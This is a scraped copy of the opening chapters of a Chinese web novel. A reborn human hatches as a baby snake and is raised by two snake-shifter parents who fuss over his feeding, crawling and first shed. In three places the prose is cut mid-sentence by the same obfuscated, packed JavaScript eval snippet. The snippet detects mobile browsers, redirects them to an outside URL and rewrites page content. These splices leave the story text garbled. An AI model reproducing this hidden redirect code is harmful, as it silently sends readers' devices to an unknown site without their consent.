《兽世蛇蛇旅行日记》 1. 第 1 章 复苏季细雨绵绵。 山洞里的大蛇出了门，徒留一颗不过食指长的蛇蛋在家。 凉风穿过蜿蜒的甬道吹进山洞里，蛇蛋轻轻晃了晃，很快就仿佛是错觉般地陷入平静，过了不知多久，它又晃了晃。 蛇蛋内。 游远撞了两下蛇蛋，却不得窍门，只好先晕乎乎地盘下来，开始思索蛇是咋破壳的。 是的，思索。 他原本是二十一世纪的一名博主，因为好奇熊猫吃的笋跟他们买到的笋有什么差别，跑上山去撅笋子。 结果倒霉催地摔下斜坡，一脑袋撞石头上，当场就没了。 再睁眼，他就在蛋里。 之所以猜自己变成了蛇……天底下没手又没脚的蛋生动物应该也就蛇了吧？ 缓解了破壳失败的晕眩感，游远心里叹着气，用嘴砸了砸蛋壳。 ？ 游远又碰了碰。 嘴巴上好像有什么东西，先于其他区域碰到了蛋壳。 游远不由陷入沉默。 他该不会穿成异种了吧？ 算了，不重要。 游远感觉多出来的那块东西还挺硬的，抱着不试白不试的心态扬起身体，开始撞先前撞击过的位置，一下一下，游远累得气喘吁吁，也终于将蛋壳撞出了一条缝来。 些许微光从外面透进来，游远欣喜地扭动身体。 破了破了！ 破壳前的憋闷不适感随着空气涌入而褪去，小蛇先前花费了太多的力气，这会儿就软趴趴地闭上眼睛，准备先睡一觉。 · 时间一点一滴流逝，出窝的大蛇回了家。 两条蛇后脑勺处都坠着一个兽皮袋子，里面分别是几个果子和一块很鲜嫩的兽肉。 碧青色的大蛇率先松嘴，吐掉兽皮袋子的绑带，半立起上半身后，化作人形。 与兽形颜色一般无二的长发垂落在身后，大蛇的眼眸是漂亮的灿金色，相较于另一条蛇，他的瞳孔偏向于椭圆形，没有那般尖锐细长。 “岩丘，你收拾一下兽肉，我去看看崽。”叮嘱着，他三两步来到蛇窝前，蹲下身去查看蛇蛋。 叫作岩丘的蟒蛇闻声，也化作了人形，拿起旁边的兽皮大衣披上，准备先将肉分割成幼崽能吃的小块。 他这边还没开始忙活，就听见伴侣又低又急地喊了声他的名字。 岩丘下意识快走两步，来到伴侣身边，随他视线看向蛇蛋：“怎么了？” 青芽指着蛋壳上那条缝隙，瞳孔兴奋地收缩着，气声道：“快看，崽崽趁我们不在破壳了。” 此时的岩丘也已经瞧见那条缝隙，下意识地放轻了呼吸。 结成伴侣一百多年，他们才得了这么一个独苗苗，这会儿便兴致勃勃地蹲在旁边，期待着崽子破壳而出的场景。 … …… ………… ？ 青芽狐疑：“他怎么不动？” 岩丘也伸手戳了戳，看着那蛋随着自己的动作晃动两下，又再度陷入平静，大惊失色：“不会死了吧？！” “不、不应该啊。”青芽闻言，也跟着变了脸色，“没听说死蛋的。” 他们可是兽人！ 从来只有出生后死掉的，绝没有破不出壳的！ 岩丘道：“可他壳已经破了。” 这对蛇来说，也算是成功出生了……吧？ 两人都是头一次带崽，这会儿越说越慌，忍不住就伸手取出，小心翼翼地剥开一小块蛋壳，脑袋抵着脑袋，凑在一起瞧蛋壳里的崽子。 蛋壳里的小蛇崽是淡青色的，一瞧就很嫩，身体在壳内弯曲蜷缩着，瞳孔看着有些迷离。 岩丘：“……” 青芽：“……” 怎么还有破壳破一半睡着了的？ 两人对视一眼，也不好惊醒睡梦中的幼崽，起身去收拾带回来的肉和乳果。 蛇兽人幼崽出生后立即就能进食肉类，因着也有一部分小蛇崽喜欢乳果，两人以防万一也准备好了。 现下他们起身，快速将带回来的那点东西收好，又在火塘里的烧了火，往里丢入几块透色的石头——火焰石，柴火燃烧时可以吸收火焰的热量，之后即使火灭了，它也能在一定时间内为兽人提供暖意。 升起火焰，岩丘将蛇窝放到了火塘旁边，两个兽人同时变成大蛇，盘在蛇窝旁，脑袋搭在彼此身上，朝着蛇蛋的方向闭目养神。 游远睡得迷迷糊糊，察觉到周围有些暖和，不由往温暖的方向挪了挪。 好舒服。 他张大嘴，打了个大大的哈欠。 咦？ 小蛇吐了吐信子，看着侧前方缺了个口的蛋壳，疑惑地歪了歪脑袋。 他睡着前有弄掉蛋壳吗？ 游远试图思考，但幼生的蛇脑无法为他提供思考的空间，于是只能放弃。他往前挪了挪，努力将蛇蛋压倒，探头往外瞧瞧。 怎么还有东西挡着啊。 光线昏暗，游远就着模糊的视线，盯着那黑黝黝的圆柱形防护栏思索了会儿，还是决定再往外爬爬。 小蛇努力地往外拖着身子，没注意到自己头顶上，已经竖起来两颗巨大的蛇头，两双竖瞳对视一眼，再度看向拖行不成，开始试图拱行的蛇崽。 他们家孩子，脑子好像不太好。 “——” 很轻的吐信声从头顶传来，游远整条蛇一下子就僵住了，缓缓抬头。 不理解崽崽为什么会这样的两条大蛇逐渐凑近，又轻缓地吐了吐蛇信表达友好，然后便看见小蛇身子骤然抻长，脑袋一歪，没了反应。 ？ ！！！ · 一阵兵荒马乱过后，岩丘带着个小布包，冲出了自家山洞。 青芽把他们给幼崽准备的食物揣上，急匆匆变成兽形，追随岩丘而去。 两条蛇穿过茂密的树林，从同族的领地中穿梭而过，来到了部落中心的山上，也不等里面的兽人反应过来，便直接冲了进去。 “阿巫阿巫！快救命啊！” 原本因着他们闯入而抬起头的膨颈蛇闻言，连忙变成人形，顺着捕捉到的幼崽气息，直接从岩丘嘴里接过布包，放在桌子上小心翼翼地打开。 小蛇还笔挺挺地躺在里面。 “你们在家都做了些什么？”阿巫膨风简直是不可思议。 幼崽这才刚破壳吧？居然就被吓晕了。 岩丘道：“什么都没做啊！我们就是看他成功破壳，跟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251858|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了声招呼。” 膨风：？ 如果不是兽人天生不喜谎言，膨风都要怀疑岩丘是在驴他了。 不再与岩丘他们多言，膨风检查了下小蛇的状态，又瞧了瞧他的眼睛和嘴巴，把蛇送到了火炕上，说道：“你们给他准备吃的了没？” “准备了。” 青芽拎着布包上前两步。 膨风：“放他旁边就行，这小家伙胆子小，别离太近。” 青芽顺着膨风的话放东西，岩丘挠着脑袋，不是很理解地问道：“阿巫，你是说，崽崽是被我们吓成这样的？” 膨风表情古怪，“应该是。” 青芽&岩丘：“……” · 挺尸的游远只觉得身下暖乎乎的，周围还有很好闻很好闻的气味，他就忍不住地醒了过来。 蛋壳没了。 意识到这一点，游远惊慌了一瞬，很快想起昏过去前看到的那两个大脑袋。 从先前看见的模糊轮廓判断，那两个脑袋好像是他父母？ 意识到这一点，游远有些尴尬地晃了下尾巴尖儿，但很快，他的注意力就被香味吸引了。 那食物的香味近在咫尺，游远脖子用力，拖行着后半截的身体，来到那块东西面前，先吐出蛇信子舔了舔，一下子就精神了，是肉哎！ 又思索两秒，刚出生的蛇能吃肉吗？ 脑子里没有相关的知识，但游远换角度一想，蛇爹蛇妈既然能喂肉，那肯定就是能吃的。 于是游远张大嘴，一口咬在了肉块边缘，嚼——嚼嚼嚼—— 旁边瞧着的三条大蛇：“……” “崽，你在干什么？”青芽最先瞧不下去开口。 游远：？ ！！！ 这里怎么会有人类说话啊！ 游远惊悚地一仰脖子，眼瞧着就要晕过去，被膨风一指按住脑袋，凑近细瞧：“青芽，你们幼崽好像是疯兽人。” 笨笨的，胆子还小。 听到膨风这句话，游远恼怒地啃了他一口。 你才疯，你全家都疯！ “牙口还不错。” 膨风也没在意小崽子这一口，将自己的手指抽出来，挼挼蛇腮，摸摸躯干，轻轻松松驯服小蛇崽。 游远不受控制地软趴趴下来，被脑仁限制的理智终于冒了头，扭着脑袋看看挼自己的人类，又看看对面那两个人类，有些疑惑地歪了歪脑袋。 都是人类，刚刚那两条大蛇呢？ 他蛇爹蛇妈该不会是被人类给抓走了吧？！ 不等他用自己的脑子思索出个所以然来，就见捧着自己的人类，指着对面的人介绍：“这你阿爹，这你阿父，认得出来吗？” 小蛇茫然.jpg 且不说他刚出生，能从哪认识他们。最大的问题在于，人，是咋生出来蛇的？ 随着这个疑惑而来的是一阵头昏脑涨。 眼见崽子又晕乎起来，青芽和岩丘都不由地上前一步，紧张兮兮地瞧着。膨风却是笑了，他将蛇放到炕床上，安抚他们道：“没事，是兽神大人的赐福。” 闻言，青芽和岩丘都松了口气。 两人也不想离开，干脆盘腿坐在炕床旁边，守着窝里脑袋犯晕的小蛇。 2. 第 2 章 兽人世界……拥有人形和兽形两种形态……只有亚兽人和雄性兽人，体表特征都是男性，依靠气味进行区分…… · 各式各样的信息在脑子里面打转，游远晕晕乎乎的，一偏头就吐了。他才刚破壳，肚子里什么都没有，这会儿也就啥都没能吐出来，只能蔫蔫地搭在兽皮上，蛇信子吐在外面都懒得收回去。 “阿巫，要不你再来瞧瞧？”青芽扭头求助。 膨风闻声过来，检查了下小蛇的状态，说道：“应该没什么事，再等等，不行就给它搞点药。” “好……” 青芽收回视线，继续盯着崽子瞧。 游远缓了缓，感觉好多了，才仰着脑袋，看向蹲在面前的两个人类。 模糊的视野中，人脸上的蛇瞳分外清晰漂亮。 哇哦。 说实话，有点酷。 也不知道他的眼睛是什么颜色的。 游远分神想了下，吐了吐蛇信子，试图跟阿爹阿父沟通。 然后毫不意外地失败了。 像是能感知到小崽子的目的一般，青芽伸出手指，用指腹轻轻摸了摸他的脑袋，说道：“不要着急，你会慢慢长大，有很多时间学习这些。” 随着话音落下，游远脑海里的信息被触发，他瞳孔微微放大，又快速收缩。 五百年寿命哎！ 那确实不用着急了。 · 再次检查过小蛇的身体，确定他是健康的，不需要弄药，膨风就出声表示两人可以带崽子回去了。 青芽和岩丘起身，一人打包他们带过来的幼崽吃食，一人打包幼崽，很快便化作兽形，叼着小包裹游出了山洞。 外面还飘着细密的雨丝，游远隔着厚实的兽皮，听见簌簌风声从周围刮过，忍不住在兽皮里乱拱，试图找个地方探头出去瞧瞧。 岩丘察觉到不对，含糊提醒：“不要乱动，外面很冷。” 现在才进入复苏季不久，树林间的积雪都还未彻底化去，成年蛇兽人还好，幼崽出来是会被冻生病的。 游远闻声，老实下来。 什么时候看不是看，不着急这一时半会儿的。 他趴在柔软的兽皮包裹里，听着外面的风声有些昏昏欲睡，过去不知道多久之后，才感觉外面的风声消散了。 游远探起脑袋。 又过了一小会儿，包裹着他的兽皮落下，接着兽皮被人动手解开，温暖的火光落在身上，让游远忍不住探头，舒适地吐了吐蛇信。 喜欢这里～ 从青芽怀上蛇蛋到他破壳，游远一直都生活在这，即使他现在还无法自主辨别气息，本能也会让他觉得放松。 青芽见了，忍不住轻笑出声，捏了块肉送到小蛇面前：“崽崽，可以吃东西了哦。” 游远从惬意中回神，张大了嘴巴。 先前在阿巫那里晕晕乎乎时，他就获得了一点点基础的信息，其中就有小蛇进食相关的内容——直接吞吃。 游远努力张大嘴，咬住那块肉，然后往喉咙里塞—— 塞—— ？ 游远卡着不动了，刚出生，还有些雾蒙蒙的眼睛看向阿爹阿父，几乎要将问号写实化。 为什么会吞不下去？！ 青芽和岩丘也茫然了，他们凑近仔细瞧了瞧，提议：“崽，你再咽咽？” 游远感觉这建议有点不靠谱，但他第一次当蛇，也没什么更好的想法，也就顺着青芽和岩丘的话又努力咽了咽。 食物后移，他嘴巴终于能合上些许了。 但也…… 彻底卡死了。 眼瞧着情况不对，大惊失色的青芽和岩丘连忙伸手，掰开崽子的嘴巴，把那块肉给扣了出来。 【哕】 游远没忍住，干呕了两下。 “我去给他弄点乳果果汁，青芽你再把肉切细一点。” “好。” 伴侣两个起身去忙活，窝里的碧青小蛇翻了个身，肚皮朝天。 等青芽和岩丘回来时，没控制住，再度大惊失色。 好在凑近一瞧，发现崽还活着。 也是，没听说过谁家蛇死了会翻肚皮的，那是人鱼族的特性。 岩丘将装了乳果果汁的盘子放到旁边，把蛇崽子翻回来，“喝点乳果汁垫垫，等下再吃肉。” 游远吐了下蛇信子，感知到带着些温热的水汽，便拖着自己的身体往那边挪。 岩丘沉默。不等他调节好自己的心态，就见方才还拖着身体往前挪的蛇崽停住了，像是思考了些什么，他扭动身体，随即—— 【一几一几一几一】 “……” 岩丘眼前一黑，为什么会有蛇是拱着走的啊？！ 游远够到了水盘，凑近闻了闻，感觉这个有点像是奶，他又吐出信子舔了舔，味道也还行。 然后…… 游远陷入思索，蛇是怎么喝水的来着？ 思绪转了个圈，在脑海里找到了相关的知识，游远趴下来凑到水盘边，将嘴巴埋进去，吸溜吸溜。 蛇腮随着喝水的动作一鼓一鼓的，游远喝了好一会儿，将盘子里的乳果汁喝完大半后，幸福地往旁边一滚，感觉好像饱了。 青芽端着肉丝过来，见状眼皮一跳，“这又是怎么了？” 岩丘：“可能是，累了吧。” 拱着走应该挺累的。 青芽不解：？ 岩丘不是很想跟他分享那让兽头疼的事情，将小蛇捧回窝里，戳了戳崽崽脑袋，说道：“你阿爹准备好肉了，再起来吃点。” 游远闻言，脑袋又竖了起来。 饱了，但还能吃.jpg 怕小崽子又卡住，这回青芽将肉切得很细，见他仰着脑袋张着嘴，干脆捏了一条，小心地送到蛇崽嘴里。 游远含住肉，喉头滚动，顺利吞咽。 于是便欢欢喜喜地再度张开嘴，期待地看向站着的阿爹，若非蛇类的发声器官不允许，他这会儿都要催促地叫上两声配音了。 一盘肉丝吃了五分之一，小蛇肚子鼓鼓囊囊，终于停止了进食。 兽人夫夫把东西都收走，回来时就见小家伙睡得呼呼的。 他们也终于放下心来，变成兽形圈在幼崽旁边，懒洋洋地打着瞌睡。 － 山洞里不知日月。 游远吃吃睡睡，彻底接受了自己变成蛇的事实。 吃饱饭，游远开始今日份的探索。 窝中厚实的兽皮垫子皮毛极长，几乎能将他细小的蛇身淹没，行进在其中时仿佛身处白色的小森林中。不过游远现在已经厌倦了小窝，准备去瞧瞧窝外面的世界。 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251859|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干就干，游远拖着身体爬到窝窝边缘，探头朝外瞧了瞧。 很好，没有很高。 游远想了下，放弃拖行，开启自己最擅长的技能——拱。 该说不说，没手又没脚的情况下，拱着走真的很简单。就是有一点点挑战他阿爹阿父的神经，游远先前当着他们的面拱了两回，眼瞧着两人一副要昏厥过去的模样，他只好遗憾地放弃了这一行进方式。 现在阿爹阿父不在家，游远决定放纵自己。 碧青色的细长小蛇趴在窝边，上半身拱出去，勉强够到地面后，他一个用力，把尾巴从窝边边上摔下来，重重砸在地面上。 好在窝周边的地上也铺着一层厚厚的兽皮，小蛇没察觉到疼，只甩着身体调整了下姿势，然后继续一拱一拱地进行探索。 火塘…… 桌子…… 凳子…… 柜子…… 咦？这里不是原始世界吗？ 游远疑惑地歪了歪脑袋，开始怀疑他知道的‘原始’和这个世界的‘原始’定义不太一样。 不过这都不重要。 小蛇继续拱了一段，瞧见堆奇奇怪怪的东西，他努力直起上半身，仔细观察。 扁扁的，长长的，花纹很眼熟眼熟。 游远趴下上半身，拱近后吐出信子仔细试探，上面果然带着阿爹阿父的气息。 哇，蛇蜕哎！ 碧青色的小蛇眼睛一亮，看看阿爹的蛇皮，再看看阿父的蛇皮，果断拱进了同色系的蛇皮，试探地往深处探索。 · 大蛇带着猎物回到家中，习惯性地放下猎物，游到蛇窝旁边。 嗯？ 青芽瞬间变成人形，小心地揭开蛇窝以及周围的兽皮垫子瞧了圈，“崽崽？你在哪儿？” “崽？” 岩丘闻声而来，随之变成人形，问道：“不见了？” 青芽蹲在地上，仔细地又翻看了一遍，摇头：“不在窝里。” 确定窝里没有崽子，两人便散开了。 幼崽身上的气息很淡，此前又只在窝里活动过，远离崽窝之后，凭借蛇兽人的嗅觉，他们很快就确定了幼崽所在。 躲在蛇蜕里好奇观察的游远身体一僵，不是很甘心地出了蛇蜕，蹭蹭阿爹伸来的手指。 怎么这么快就发现了呀？ 青芽点了点小蛇崽的脑袋，“你倒是会游，跑这么远到这。” 听到‘游’字，游远心虚地挪开脑袋，尾巴轻拍着。 哎呀，谁说蛇都是游的。 蛇崽子虽然一句话都没有说，但这个肢体动作，已经展现出了他的心虚，青芽和岩丘眼皮一跳。 崽落地。 夫夫俩蹲下来，“再游回去试试？今天给你弄好吃的肉肉哦。” 游远狐疑地看向他们，生肉能有多好吃？ 岩丘道：“会拿香香的果子腌制肉块，然后煎香，切开的时候里面还是嫩的，比你吃的肉和乳果汁加起来还好吃。” 游远：咕咚。 没有丝毫迟疑的，游远开始展示。 青芽和岩丘就看着小崽子努力拖行了一段，大概是觉得累了，放弃掩饰，直接开始拱行。 【一几一几一几一】 速度还挺快，不一会儿就到了窝边的兽皮垫子上。 “……” 3. 第 3 章 “崽，你这样下去不行啊。”青芽一脸沉痛。 游远将脑袋搭在阿爹的手上，轻轻蹭着：知道啦知道啦，我会学的，这不是才刚出生嘛，阿爹你别着急呀。 他不急，青芽却是做不到。 和说话不同，游行是蛇崽自出生时，就应该会的技巧。 蛇兽人在森林之中穿梭，依靠迅猛的速度扑击对手，或毒杀或绞杀，都需要很快的反应速度。而且连游行都无法做到的话，绞杀这种高难度技巧，基本就从小蛇的生命中告别了。 部落当然会保护弱小，但做为兽人，应该也必须拥有独自生存的能力。 青芽轻轻顺着游远的脑袋，“崽，阿爹教你游行。” 游远：？ 不太明白阿爹为什么这么严肃，不过既然他都这么说了，那就学吧，都已经变成蛇了，总不能一直拱着走。 也怪累的。 小蛇主动从窝里爬了出来。 见状，青芽高兴起来，立刻变回兽形，围着他游了两圈以做示范。 游远瞧了会儿，像模像样地开始扭。 左右左右左右—— 碧青色的小蛇在地上扭着身体，顾得了脑袋顾不了尾巴，两头顾上又掉了中间，总有一段是跟不上动作的。 青芽看得头疼，但还是耐心地教导，“崽你别硬扭，放轻松，让你的本能来操控身体。” 游远仰头，气呼呼地吐信子。 他要是有本能，就不用在这里学习了！ 青芽意会到蛇崽的意思，有些头疼地抓了抓长发，“那你这样，咱们一个部位接着一个部位地来。” 游远闻言，竖起的脑袋落了回去，随着阿爹的话，继续努力地扭动身体。 · 父子俩努力奋斗。 岩丘已经处理好了兽肉，这会儿在火坑上摆了个架子，轻薄的宛如水晶一般的石片放到架子上，随着火焰的舔舐飞速变成红色。 青芽见崽子感兴趣，就问道：“要不要歇歇？” 游远立即点头。 他今天探索了山洞，还辛苦学习了那——么——久的游行，已经很累啦，要等饭吃。 见他点头，青芽伸手把崽子抓了起来。 小蛇软趴趴，身上半点力道都没有，随着青芽的动作直接变成了‘∩’形。 不过很快，游远就被转移到了阿爹手心中。 修长的手指微微上扬形成一个坡度，游远趴在阿爹的指尖处，好奇地看着火塘上的东西。 青芽就给他介绍：“这个是锅架，用石头切出来的。这块薄的石板是火焰石，它变红的时候会很烫，平常记得离远一点。” 哇—— 小蛇张大嘴，惊奇万分。 岩丘应该是经常做饭的，这会儿拿勺子挖了点荤油在石板上抹开，然后将腌制过的厚切肉片放上去，只听滋啦声响，蛇灵敏的嗅觉就已经捕捉到了香味。 游远忍不住扬起身体，期待地看向石板上的肉。 随着时间的推移，香味越发浓郁，而贴着石板的那面肉也已经定型，岩丘取出筷子来，夹起肉翻了个面，顺手将下面的柴火往周边挪了挪，借着石板余温继续煎肉。 游远眼巴巴地瞧着石板上的肉，感觉差不多可以吃的时候，忍不住兴奋地快速吐信，视线也随着岩丘夹肉的动作而来回移动。 青芽没忍住，轻轻笑了一声。 岩丘闻声瞧来，看见小崽子这样，不由也笑起来，说道：“先给他吃吧，我再弄点土豆。” “好。”青芽走到另一边，把蛇崽放到了桌上，轻点蛇头：“不准乱动。” 游远乖乖听话。 青芽转身去拿了把手掌长的小匕首过来，搬着凳子坐在小桌边，手指抵着刀背轻轻一用力，那肉就没有任何阻隔地被切开了。 肉被切成轻薄的肉片，游远在青芽还想将其切成丝之前，努力往前游行了一小截。 青芽会意。 他转而拿起筷子，给崽子夹了一小片送到他面前。 游远努力张大嘴巴，稳稳接住那一条长长的肉片，吧唧两下尝过味道便将其吞咽了下去，然后再度张大嘴，接受阿爹新一轮的投喂。 小蛇的进食量有限，一块肉只吃了一点点就饱了，他只好遗憾地闭上嘴，看着阿爹阿父开始吃饭。 原本被美食糊住的脑袋也开始运转起来。 身为原始兽人，他阿父烹饪食物的能力是不是太出色了一点？ 难道阿父也是穿越者？！ 像是找到了一个新颖的玩具，接下来的时间里，游远全程目不转睛地盯着阿父。 岩丘有些摸不着头脑地看向伴侣。 青芽给他夹了一块煎土豆片，推测道：“可能是他发现你会做好吃的肉，所以觉得很开心？” 岩丘吃下，高兴地弯弯眼睛：“那下回你弄，让他再开心一回。” 青芽赞同，“可以。” 游远：“……” 可以什么啊可以，阿爹阿父你们咋瞧着有点不靠谱。 没发现穿越者的痕迹，但发现自己被塞狗粮了。游远落下脑袋，懒洋洋地舒展开身体，有点昏昏欲睡。 眯了会儿。 青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251860|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芽和岩丘收拾干净碗筷，正要将崽子送回窝里，就见方才还舒展身体的小蛇，后半截身子忽然收缩了两下，不是很舒服地蜷曲起来。 游远被迫清醒，大脑还有些茫然。 但青芽和岩丘是提前同族人们了解过的，这会儿立即将崽子带到提前准备好的木盆中，将他放下后，守在旁边等着。 进入陌生的环境中，游远隐约意识到自己好像是要上厕所，扭动着下半截身子，正尝试间，余光瞥到旁边四只锃亮的竖瞳。 “……” 游远顾不得其他，在盆里拱来拱去，很快找到一个被石头和树枝所遮挡的角落，藏进去。 蹲在盆边的两人耐心等待着，听见几声轻响，又过了一小会儿，才看见小蛇害羞地探出头来，嘴角不受控制地上翘着。 岩丘忍着笑伸手，“来，我送你回窝。” 游远慢吞吞拱了出来，绕开阿父的手，自力更生地拱出盆，立起上半截身子，有些迟疑地看着周遭环境，不动了。 岩丘和青芽对视一眼，脑袋上冒出个大大的问号。 崽这是又咋了？ 家里的小蛇状况百出，两人一时半会儿想不到缘由，干脆扒开盆中的遮挡，瞧了瞧蛇崽子的便便。 唔，挺健康的。 顺利排便是个好消息，青芽和岩丘都很开心，也不管蛇崽满身的抗拒，直接捞起他回到山洞中心，将崽子放到窝里。 游远：“……” 游远努力翘起后半截身体。 青芽狐疑：“他这是在嫌弃自己？” “……好像是。” 幼崽年幼，脑子里一般空空如也，正常情况下，根本不会想到这方面。 不过他们家这条崽本就不正常。 既然有所猜测，岩丘就去翻找了下，在柜子角落里找到一块与隔壁部落交换来的布，拿刀割下一小块后，搓洗两下拧干，过来给小蛇擦拭皮表。 游远其实有点不好意思，但还是忍着了，直到岩丘收手说好了，他才放松绷紧的肌肉。 小蛇瞬间软趴趴。 岩丘将布巾在他面前展开，“干干净净，不擦也可以的。” 独特的生理结构让蛇兽人可以免于弄脏自己的鳞片，小蛇崽又是初次排泄，肚子里没什么难以消化的部分，就更加干净了。 游远往兽皮垫子里的毛毛中藏了藏，拒绝与阿父沟通。 岩丘：“……” 岩丘叹气，与青芽对视一眼，都意识到他们之后的日子里，又多了一样事情要做。 都是养崽，怎么他们家这条这么难养？ 4. 第 4 章 嘿咻。 嘿咻。 嘿咻。 游远在心中给自己加油鼓劲，身体终于顺畅地扭了一回。 他努力了许久，感觉游行的成果应该还不错，于是骄傲地仰起头，透过雾蒙蒙的视野，去瞧蹲在旁边的阿爹。 青芽：“……” 青芽伸手，捏住蛇尾轻轻抻长，放下，温声细语：“崽，你就走了这么远。” ？ ！！！ 不可能！这绝对不可能！ 小蛇崽扬起身体，扭着往后瞧去，模糊的视线下，他依稀判断出来，自己的尾巴好像真的还在出发时的位置。 游远绝望地往下一倒，呜呜呜怎么会这样啊。 青芽及时接住小蛇的脑袋，安抚他：“没关系，我们慢慢练，以后肯定能游得快快的。” 游远：阿爹你对我好有信心。 小蛇崽一时半会儿不想动，青芽干脆把他拢进掌心，仔细检查了下崽子的身体，说道：“差不多要蜕皮了，这事先停一停吧。” 游远拱了拱，以示回应。 青芽带着崽回到火塘旁边，将小蛇放回窝里，也变回了兽形。 安静的山洞里连呼吸声都无法捕捉，只有柴火燃烧时发出的些微声响，以及山洞外面的风雨声。 隔着厚厚的山壁，风雨声微不可闻，仿若催眠曲。 游远打着哈欠，很快睡了过去，迷迷糊糊间感受到一股凉意袭来，他吐了下蛇信，是阿父。 岩丘刚结束一天的巡逻队任务，这会儿鳞片上湿漉漉的。他竖着身子瞧了瞧崽，就避开了那柔软的兽皮，靠在伴侣的身边，尾巴尖与之交缠在一起，无声地依恋着彼此。 等下还要给小蛇准备吃食。 蛇族兽人的进食需求比其余族还要低一些，进食过后，他们甚至可以好几周乃至好几月不再吃东西。因而从前两人除了偶尔的嘴馋之外，是很少弄食物吃的。 但现在不同了。 家里的小蛇是个挑剔的，自从吃过煎肉块，就不肯再品尝生肉，而且只能一点点地吃，一次也只吃一点点就不肯吃了。 养起来很麻烦，需要很用心。 蛇信轻吐，他们用兽语‘无声’地交谈着：‘崽快要蜕皮了，一会儿我去抓只肥肥兽回来，这两顿多喂点。’ 岩丘：‘可他不爱吃白肉。’ 白肉就是肥肉。 青芽道：‘弄那个炖肉，那个好吃，他会吃的。’ 岩丘想了想，赞同地点头，‘那再煮些米饭，我们自己也吃点？’ ‘好。’ · 时间在火焰燃烧中缓慢流淌，青芽偏头蹭了蹭伴侣，抽身离开山洞，出去捕猎。 岩丘换了个姿势，脑袋靠着崽子的窝，继续睡觉。 巡逻队的巡逻时间是整整一个日时，从太阳升起开始到第二天太阳升起为止，中间虽然可以找地方休息，但也要留神戒备外界的情况，自然不如在家睡得自在。 游远醒来，捕捉到阿父的气息，慢吞吞地从窝里游出来，蛇信子触碰到了岩丘的身体。 岩丘睁眼瞧了下，见崽子碰了下他又不动了，便开口问道：“怎么了？” 游远趴在窝边，又吐了吐信子。 他还小，别说人话了，就连兽语都还不会说，这会儿只能蔫蔫地趴着。 岩丘想起先前青芽说的事，变成人形把小蛇捧到手里，动作很轻地抚过小蛇的身体，“蜕皮是会有点难受的，过个两天就好了，别怕。” 游远本来是因着先前游行练习成果而低落，现在听到岩丘这话，倒也真觉察出几分不舒服来，身体上还好，主要是眼睛有点痛痛的，他忍不住低着头去蹭岩丘的手指。 岩丘也不拦着，垂眸看小蛇忙活。 蜕皮这种事，能自己来还是自己来为好。 游远努力地蹭了好半天，也没觉得舒缓到哪里去，又懒怠下来，趴在阿父手里，任由他的手指在自己背上摸来摸去。 父子俩安静地待在一处，过了好一会儿，青芽带着猎物回来了。 岩丘放下游远，起身去帮忙。 给崽炖肉当然要挑味道最嫩最鲜美的一块肉，切成厚片后腌制好，放到锅里炖煮着。青芽又顺手切了些排骨，准备焯水，一会儿弄个烤排骨尝尝，岩丘则是用火焰石石锅煮上了米饭。 游远闻到香味，在窝里左右晃着脑袋，期待满满。 炖肉的时间要足够长才能熬出滋味来，岩丘撕了点烤排骨的肉下来，吹凉后来到小蛇身边，“张嘴。” 游远立即张大嘴巴。 香喷喷的肉落入口中，甚至还可以尝到孜然的香味，让蛇感到发自内心的幸福。 穿越兽世还能吃到这一口，真好。 见他喜欢，岩丘干脆喂了一整根排骨上的肉，然后说道：“炖肉拌米饭也好吃，留点肚子？” 游远毫不犹豫地点头，赞同了岩丘的提议。 · 随着时间的推移，山洞里的肉香味越来越浓，甚至能够闻到其中些许的酱香。 他满怀期待着，岩丘和青芽吃完了弄好的排骨，起身揭开盖子瞧了瞧，感觉肉已经炖得足够软烂了，就去拿了碗勺过来。 炖到软烂的肉几乎化在了汤里，舀到碗中后用勺子碾烂，再装入小半碗米饭，仔细拌匀，吹凉。 游远终于等到香味靠近，一下子竖起了脑袋，不等阿爹阿父开口，就先一步张大了嘴。 青芽没忍住笑了下。 游远听到声音有点羞臊，但还是张着嘴，尾巴快速地拍打了两下兽皮垫子，催促两人快点喂崽。 见他这般，青芽点点小蛇脑袋：“别立这么直，有汤，一会儿呛着了。” 哦。 游远立刻摆平脑袋，再度张大嘴。 青芽这才舀了点炖肉拌饭，小心地放到蛇崽嘴里。 游远闭嘴含住饭，美滋滋地品尝了会儿，咽下，再度张嘴。 他们俩一喂一吃，岩丘在旁边笑着瞧了半天，这才起身去收拾锅碗瓢盆，又把石制的锅架从火塘上搬开。 兽人力气大，很快完成收尾工作。 等岩丘回来时，游远已经吃完了那一碗饭。 青芽摸摸 